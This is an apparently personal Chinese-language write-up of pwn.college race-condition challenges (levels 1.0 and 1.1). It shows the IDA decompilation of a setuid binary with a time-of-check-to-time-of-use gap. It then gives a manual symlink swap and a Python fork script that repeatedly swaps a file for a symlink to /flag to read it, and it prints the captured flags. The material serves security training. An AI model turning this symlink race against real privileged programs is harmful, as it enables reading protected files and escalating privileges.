TOCTOU

level1.0
运行查看
该程序会打开一个文件,文件名是命令行中的第一个参数argv[1]。且该程序会检查文件path中不能包含flag,文件不能是一个符号链接。
hacker@race-conditions-level-1-0:/challenge$ ll
total 28
drwsr-xr-x 1 root root 4096 Jun 26 16:16 ./
drwxr-xr-x 1 root root 4096 Jun 26 16:16 ../
-rwsr-xr-x 1 root root 17464 Feb 22 02:18 babyrace_level1.0*
hacker@race-conditions-level-1-0:/challenge$ file babyrace_level1.0
babyrace_level1.0: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b04434348b708f24cf7dae3754835b8c9f6b428b, for GNU/Linux 3.2.0, not stripped
hacker@race-conditions-level-1-0:/challenge$ ./babyrace_level1.0
###
### Welcome to ./babyrace_level1.0!
###
Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows
you to open a single file, as specified by the first argument to the program (argv[1]).
The file opened will be be sent to you.
This challenge will verify that the file's path does not include "flag".
This challenge will verify that the file is not a symlink.
babyrace_level1.0: <stdin>:47: main: Assertion `argc > 1' failed.
Aborted
IDA反编译
下载,拖进IDA反编译。
int __cdecl main(int argc, const char **argv, const char **envp)
{ // 【1】文件名通过argv[1]传入程序
int v3; // eax
size_t v4; // rax
struct stat stat_buf; // [rsp+20h] [rbp-1A0h] BYREF
char buf[264]; // [rsp+B0h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("###"); // 【2】打印文字
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts(
"Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows");
puts("you to open a single file, as specified by the first argument to the program (argv[1]).\n");
puts("The file opened will be be sent to you.\n");
puts("This challenge will verify that the file's path does not include \"flag\".");
puts("This challenge will verify that the file is not a symlink.");
if ( argc <= 1 )// 【3】 检查是否有传入参数
__assert_fail("argc > 1", "<stdin>", 0x2Fu, "main");
if ( strstr(argv[1], "flag") ) // 【4】检查文件名中是否包含flag
{
puts("Error: path contains `flag`!");
exit(1);
}
puts("Calling lstat (does not follow symlinks) on the path.\n"); // 【5】如果不包含flag,打印文字
puts("Paused (press enter to continue)");
getchar(); // 【6】等待输入
if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 ) // 【7】获取文件信息
{
puts("Error: failed to get file status!");
exit(1);
}
if ( (stat_buf.st_mode & 0xF000) == 40960 ) // 【8】检查文件是否是符号链接
{
puts("Error: file is a symlink!");
exit(1);
}
puts("Sleeping for 10000us!\n");
usleep(0x2710u); // 【9】如果文件不是符号链接,睡眠10000us
puts("Paused (press enter to continue)");
getchar(); // 【10】等待输入
v3 = open(argv[1], 0); // 【11】打开文件
v4 = read(v3, buf, 0x100uLL); // 【12】读取文件
write(1, buf, v4); // 【13】将读取的内容写到stdout
puts("### Goodbye!");
return 0;
}
-
Time of Check:
- 【4】文件名中不包含flag
- 【7-8】文件不是符号链接
-
Time of Use:
- 【11-13】读取文件内容并写到stdout
Check和Use中间存在一个很大的窗口,尤其是有usleep和getchar。假设一开始创建一个空文件aaa
,那么很明显能通过两个check。如果在【8】->【11】的这一段时间里,将test改成/flag
的symlink,那么就能读取flag!!!
Expolit
# 【1】创建空文件aaa
hacker@race-conditions-level-1-0:/challenge$ touch ~/aaa
hacker@race-conditions-level-1-0:/challenge$ ls ~/aaa
/home/hacker/aaa
# 【2】执行漏洞文件
hacker@race-conditions-level-1-0:/challenge$ ./babyrace_level1.0 /home/hacker/aaa
###
### Welcome to ./babyrace_level1.0!
###
Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows
you to open a single file, as specified by the first argument to the program (argv[1]).
The file opened will be be sent to you.
This challenge will verify that the file's path does not include "flag".
This challenge will verify that the file is not a symlink.
Calling lstat (does not follow symlinks) on the path.
Paused (press enter to continue) # 【3】回车
Sleeping for 10000us!
Paused (press enter to continue) # 【4】程序停在这,等待输入
pwn.college{QgBeUPjfJ7iPR9rxJFUIilbTL9P.QXxADNsgjM5QzW}
### Goodbye!
另开一个终端窗口:
# 【5】修改aaa为/flag的符号链接
hacker@race-conditions-level-1-0:/challenge$ ln -fs /flag /home/hacker/aaa
hacker@race-conditions-level-1-0:/challenge$
回到第一个终端窗口:
Paused (press enter to continue) # 【4】程序停在这,等待输入->【6】回车
pwn.college{QgBeUPjfJ7iPR9rxJFUIilbTL9P.QXxADNsgjM5QzW} # 【7】flag被打印出来
### Goodbye!
level1.1
运行查看
# 【1】一样,需要带参数运行
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1
###
### Welcome to ./babyrace_level1.1!
###
babyrace_level1.1: <stdin>:40: main: Assertion `argc > 1' failed.
Aborted
# 【2】参数不能带flag
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1 /flag
###
### Welcome to ./babyrace_level1.1!
###
Error: path contains `flag`!
# 【3】程序功能同样是读取并打印文件内容
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1 /etc/profile
###
### Welcome to ./babyrace_level1.1!
###
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the ### Goodbye!
# 【4】验证确实是读取并打印文件内容
hacker@race-conditions-level-1-1:/challenge$ cat /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the default PS1.
# PS1='\h:\w\$ '
if [ -f /etc/bash.bashrc ]; then
. /etc/bash.bashrc
fi
else
if [ "`id -u`" -eq 0 ]; then
PS1='# '
else
PS1='$ '
fi
fi
fi
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r $i ]; then
. $i
fi
done
unset i
fi
IDA反编译
和level1.0
差不多,不过是中间少了一些打印语句,以及getchar()
。check和use中间仍然有1秒的时间窗,手动肯定是来不及了,那就用脚本来利用TOCTOU。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
size_t v4; // rax
struct stat stat_buf; // [rsp+20h] [rbp-1A0h] BYREF
char buf[264]; // [rsp+B0h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]
v8 = __readfsqword(0x28u); // 【1】文件名通过argv[1]传入程序
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("###"); // 【2】打印文字
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
if ( argc <= 1 ) // 【3】 检查是否有传入参数
__assert_fail("argc > 1", "<stdin>", 0x28u, "main");
if ( strstr(argv[1], "flag") ) // 【4】检查文件名中是否包含flag
{
puts("Error: path contains `flag`!");
exit(1);
}
if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 )// 【5】获取文件信息
{
puts("Error: failed to get file status!");
exit(1);
}
if ( (stat_buf.st_mode & 0xF000) == 40960 ) // 【6】检查文件是否是符号链接
{
puts("Error: file is a symlink!");
exit(1);
}
usleep(0x2710u); // 【7】如果文件不是符号链接,睡眠10000us,即1s
v3 = open(argv[1], 0); // 【8】读取文件内容并打印
v4 = read(v3, buf, 0x100uLL);
write(1, buf, v4);
puts("### Goodbye!");
return 0;
}
Exploit
1、重新创建文件aaa
hacker@race-conditions-level-1-1:/challenge$ rm ~/aaa
hacker@race-conditions-level-1-1:/challenge$ touch ~/aaa
2、在challenge目录下执行如下python脚本,让父子进程竞争,当子进程在那1s内执行了一次时,然后父进程马上进行读操作时,就能读到flag。
先测试一下python重新创建文件的操作:
# 查看测试脚本内容
hacker@race-conditions-level-1-1:~$ cat test.py
import os
os.unlink("/home/hacker/aaa")
os.close(os.open("/home/hacker/aaa", os.O_CREAT))
# 创建文件
hacker@race-conditions-level-1-1:~$ touch aaa
# 查看文件的时间
hacker@race-conditions-level-1-1:~$ ll aaa
-rw-r--r-- 1 hacker hacker 0 Jul 4 15:55 aaa
# 符号链接
hacker@race-conditions-level-1-1:~$ ln -fs /flag aaa
hacker@race-conditions-level-1-1:~$ ll aaa
lrwxrwxrwx 1 hacker hacker 5 Jul 4 15:55 aaa -> /flag
# 删除链接并重新创建文件
hacker@race-conditions-level-1-1:~$ python test.py
# 确认
hacker@race-conditions-level-1-1:~$ ll aaa
-rwxr-xr-x 1 hacker hacker 0 Jul 4 15:56 aaa*
下面是脚本的最终内容:
#! /usr/bin/python3
import os
from pwn import *
def recreate():
os.unlink("/home/hacker/aaa")
os.close(os.open("/home/hacker/aaa", os.O_CREAT))
def symlink2flag():
os.unlink("/home/hacker/aaa")
os.symlink("/flag", "/home/hacker/aaa")
if __name__ == "__main__":
attempts = 0
forkPID = 0
# 子进程
# 【1】如果aaa不存在就创建
# 【2】不断地重新创建文件aaa并将其符号链接到flag
if os.fork() == 0:
forkPID = os.getpid()
print("child: "+ str(forkPID))
os.close(os.open("/home/hacker/aaa", os.O_CREAT))
while True:
recreate()
symlink2flag()
# 父进程不断运行 /challenge/babyrace_level1.1 /home/hacker/aaa,并接收返回
# 如果返回结果中包含pwn.college,那就打印并结束
else:
while True:
attempts += 1
p = process(["/challenge/babyrace_level1.1", "/home/hacker/aaa"], level="CRITICAL")
result = (p.readall().decode())
if "pwn.college" in result:
log.success(result)
log.info(f"Took {attempts} attempts")
cmd = "kill " + str(forkPID)
os.system(cmd)
break
p.close()
结果如下:
hacker@race-conditions-level-1-1:/challenge$ python ~/exp1.py
[+] ###
### Welcome to /challenge/babyrace_level1.1!
###
pwn.college{ouPxxbqEWTMxJexCQrI6EVRpDCL.QXyADNsgjM5QzW}
### Goodbye!
[*] Took 2 attempts
这个还是不更新了,公开不大好。
参考文献
- https://cov-comsec.github.io/posts/2022_race_conditions/
- https://cov-comsec.github.io/posts/2022_race_conditions/presentation.pdf